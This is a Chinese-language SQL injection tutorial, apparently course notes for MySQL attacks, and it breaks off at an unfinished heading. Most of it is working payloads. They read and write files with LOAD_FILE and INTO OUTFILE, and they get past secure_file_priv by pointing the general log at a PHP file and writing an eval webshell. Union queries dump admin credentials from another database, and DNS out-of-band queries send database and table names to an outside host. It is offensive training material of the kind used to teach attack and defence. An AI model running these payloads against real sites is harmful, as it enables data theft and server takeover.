Web攻防-SQL注入高权限判定跨库查询文件读写DNS带外SecurePriv开关绕过
知识点:
1、Web攻防-SQL注入-高权限用户差异
2、Web攻防-SQL注入-跨库注入&文件读写&DNS带外
案例说明:
在应用中,数据库用户不同,可操作的数据库和文件读写权限不一,所有在注入过程中可以有更多的利用思路,如直接写入后门,获取数据库下洽谈网站的数据等。
一、演示案例-WEB攻防-SQL注入-高权限&数据库名获取&文件读写操作&secure_file_priv开关
实验:root用户和普通用户
1、所有数据库名获取
2、文件读写操作权限
实验:secure_file_priv开关(限制文件读取和写入)
secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入
通过my.ini(windows版本)/my.cnf(Linux版本)中设置
绕过条件
存在可执行的SQL语句的地方(后台SQL命令执行,Phpmyadmin应用等)从后台的sql命令执行功能点:通过注入获取得到这个网站的后台账号密码
从phpmyadmin命令执行功能点:通过注入获取到数据库的用户名和密码
phpmyadmin的用户密码存储在mysql数据库下的user表(mysql低版本是user、password列名或mysql高版本是user、authentication_string为列名)
getshellshow variables like "secure%" //查看secure_file_priv开关是否开启
slow_query_log=1 启用慢查询日志(默认禁用)
set global general_log=on; //开启日志功能
show variables like 'general_log'; //查看日志是否开启
set global general_log_file='D:/phpstudy_pro/WWW/php/55/bypass.php';
select '<?php @eval($_POST[x]);?>'
二、演示案例-WEB攻防-SQL注入-高权限&文件读写操作&跨库注入&带外注入
文件读写
' union select LOAD_FILE('d:\\2.txt'),2,3#
' union select 'xxxx',2,3 into outfile 'd:\\3.txt'#
实战中一般就是直接写webshell
进网站目录下,那么关于网站路径获取方法:
1、遗留文件(phpinfo)
2、报错显示
3、读中间件配置
4、爆破fuzz路径
跨库注入
查数据库名
' union select SCHEMA_name,2,3 from information_schema.SCHEMATA#
查表名
' union select table_name,2,3 from information_schema.tables where table_schema='xhcms'#
查列名
' union select column_name,2,3 from information_schema.columns where table_schema='xhcms' and table_name='manage'#
查数据
' union select name,2,3 from xhcms.manage#
带外注入(读文件无回显)
查数据库名
' union select load_file(concat('\\\\',(select database()),'.yjjoxijrhw.yutu.eu.org\\aa')),2,3#
查第一个表名
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 0,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#
查第二个表名
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 1,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#
查第三个表名
' union select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='news_management' limit 2,1 ),".yjjoxijrhw.yutu.eu.org\\xxx.txt")),2,3#
查列名:…
查数据